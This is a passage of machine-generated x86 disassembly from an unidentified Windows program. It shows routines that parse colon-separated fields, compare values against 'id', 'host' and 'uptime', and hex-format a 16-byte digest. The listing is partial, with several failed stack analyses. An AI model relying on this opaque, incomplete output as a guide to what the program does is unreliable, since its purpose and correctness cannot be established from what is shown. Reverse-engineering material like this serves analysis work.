arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401582 add esp, 2000h retn sub_412900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412970 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412970 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_4129A7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: sub_412970+21j lea ecx, [esp+40h+var_3C] call sub_401424 mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_4129C8 mov eax, dword_447100 push eax jmp short loc_4129CF ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_412970+4Ej mov ecx, dword_447108 push ecx loc_4129CF: ; CODE XREF: sub_412970+56j lea ecx, [esp+44h+var_3C] call sub_4015D7 push ebx lea ecx, [esp+44h+var_24] call sub_401424 mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+50h+var_24] push offset dword_443CEC push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014D3 push eax mov ecx, esi call sub_401582 lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412970 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AA0 proc near ; CODE XREF: sub_401848j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412AA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B20 proc near ; CODE XREF: sub_401D0Cj push esi mov esi, ecx call sub_401FB9 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412B20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B50 proc near ; CODE XREF: sub_401FB9j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop esi retn sub_412B50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B90 proc near ; CODE XREF: sub_401721j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412B90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412BC0 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412BC0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C10 proc near ; CODE XREF: sub_401F00j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412C10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_412C10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412CB0: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43994E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_412FD6 push ebx push edi push offset asc_443600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016AE push offset asc_443600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016AE push offset asc_443600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016AE mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013D9 lea ecx, [esp+28h] mov ebx, eax call sub_4013D9 lea ecx, [esp+40h] add ebx, eax call sub_4013D9 mov ecx, edi add ebx, eax call sub_4013D9 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E2E push offset asc_443600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016AE lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E2E push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40200E lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40200E push offset asc_443D40 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E35 xor edi, edi loc_412E35: ; CODE XREF: ___:00412E31j push offset asc_443D3C ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E4C mov edi, 1 loc_412E4C: ; CODE XREF: ___:00412E45j push offset asc_443D38 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E63 mov edi, 2 loc_412E63: ; CODE XREF: ___:00412E5Cj push offset asc_443D34 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E7A mov edi, 3 loc_412E7A: ; CODE XREF: ___:00412E73j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412ED4 test edi, edi jnz short loc_412EAA lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44759A call sub_4012EE test eax, eax jz short loc_412ED4 jmp short loc_412EC7 ; --------------------------------------------------------------------------- loc_412EAA: ; CODE XREF: ___:00412E8Ej cmp edi, 1 jnz short loc_412ED4 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44759A call sub_4012EE test eax, eax jnz short loc_412ED4 loc_412EC7: ; CODE XREF: ___:00412EA8j push 0 push esi mov ecx, offset byte_4472B7 call sub_401A32 loc_412ED4: ; CODE XREF: ___:00412E8Aj ; ___:00412EA6j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F27 test edi, edi jnz short loc_412F08 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60DD call sub_4013E3 test eax, eax jnz loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F08: ; CODE XREF: ___:00412EE8j cmp edi, 1 jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60DD call sub_4013E3 test eax, eax jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F27: ; CODE XREF: ___:00412EE4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_401654 test edi, edi jnz short loc_412F5D cmp eax, ebx jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F5D: ; CODE XREF: ___:00412F55j cmp edi, 1 jnz short loc_412F68 cmp eax, ebx jnz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F68: ; CODE XREF: ___:00412F60j cmp edi, 2 jnz short loc_412F73 cmp eax, ebx jle short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F73: ; CODE XREF: ___:00412F6Bj cmp edi, 3 jnz short loc_412F89 cmp eax, ebx jge short loc_412F89 loc_412F7C: ; CODE XREF: ___:00412F06j ; ___:00412F25j ... push 0 push esi mov ecx, offset byte_4472B7 call sub_401A32 loc_412F89: ; CODE XREF: ___:00412F00j ; ___:00412F0Bj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD6: ; CODE XREF: ___:00412CE9j mov al, 1 loc_412FD8: ; CODE XREF: ___:00412FD4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4130E0 proc near ; CODE XREF: sub_401654j call near ptr 27D07CDh nop mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4130E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413120 proc near ; CODE XREF: sub_401FFAj var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413120 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401749 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F05 sub_413120 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401843 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43E044 call sub_401924 mov ecx, ebx call sub_401C62 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j push esi mov esi, ecx call sub_401C8F sub_4131F0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_413208 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_413208: ; CODE XREF: ___:004131FDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413220 proc near ; CODE XREF: sub_401C8Fj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413220 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43E044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401924 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C62 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014B5 sub_413220 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132E0 proc near ; CODE XREF: sub_4019F6j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4132E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019B5 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4133D0 proc near ; CODE XREF: sub_401CD0j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4133D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017E4 test eax, eax jz short loc_413477 lea ecx, [esp+18h+var_14] call sub_402252 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413477 loc_413438: ; CODE XREF: sub_4133D0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41349C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413438 loc_413477: ; CODE XREF: sub_4133D0+2Ej ; sub_4133D0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41349C: ; CODE XREF: sub_4133D0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4133D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413510 proc near ; CODE XREF: sub_402112j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_413510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017E4 test eax, eax jz loc_4135E3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401983 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jz short loc_4135E3 loc_41357F: ; CODE XREF: sub_413510+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014C9 mov ecx, ebx call sub_401CD0 mov esi, eax test esi, esi jz short loc_4135AC mov edi, [esi] loc_4135AC: ; CODE XREF: sub_413510+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B72 test eax, eax jz short loc_41360B test esi, esi jnz short loc_41360B lea ecx, [esp+28h+var_18] call sub_4018B6 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jnz short loc_41357F loc_4135E3: ; CODE XREF: sub_413510+31j ; sub_413510+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4135F6: ; CODE XREF: sub_413510+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_41360B: ; CODE XREF: sub_413510+AAj ; sub_413510+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4135F6 sub_413510 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413670 proc near ; CODE XREF: sub_401F46j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017E4 test eax, eax jz short loc_413714 lea ecx, [esp+14h+var_14] call sub_401E1F lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jz short loc_413714 loc_4136D6: ; CODE XREF: sub_413670+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jz short loc_413746 lea ecx, [esp+14h+var_14] call sub_4020A4 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jnz short loc_4136D6 loc_413714: ; CODE XREF: sub_413670+2Bj ; sub_413670+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401578 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413746: ; CODE XREF: sub_413670+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FA5 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401578 sub_413670 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4137E0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4137E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017E4 test eax, eax jz loc_413913 lea eax, [esp+0A8h+var_64] push eax call sub_401A55 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_401424 push offset byte_446F70 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015D7 lea ecx, [esp+0A8h+arg_0] call sub_4013D9 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014D3 lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C12 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402158 add esp, 14h loc_41387B: ; CODE XREF: sub_4137E0+E8j lea ecx, [esp+0A8h+var_8C] call sub_401424 xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016BD lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41387B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B72 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_41390E call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_41392C ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: sub_4137E0+10Cj call sub_401226 loc_413913: ; CODE XREF: sub_4137E0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_41392C: ; CODE XREF: sub_4137E0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4137E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4139B0 proc near ; CODE XREF: sub_40191Fj var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4139B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014C9 mov ecx, esi call sub_402112 test eax, eax jz short loc_413A5E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_40171C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014C9 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F46 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413A5E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413A5E: ; CODE XREF: sub_4139B0+3Fj ; sub_4139B0+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_4139B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413AE0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_439B08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40191F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413B70 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413B70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413CB9 lea ecx, [esp+48h+arg_0] call sub_4017E4 test eax, eax jz loc_413CB9 push esi push edi push offset asc_443C94 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413C93 add ebp, 54h loc_413BF0: ; CODE XREF: sub_413B70+11Dj push 15h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413C10 mov ecx, eax call sub_401F2D jmp short loc_413C12 ; --------------------------------------------------------------------------- loc_413C10: ; CODE XREF: sub_413B70+95j xor eax, eax loc_413C12: ; CODE XREF: sub_413B70+9Ej push offset asc_443C94 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016AE mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40200E lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_40147E ; --------------------------------------------------------------------------- inc esi push offset asc_443C94 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea 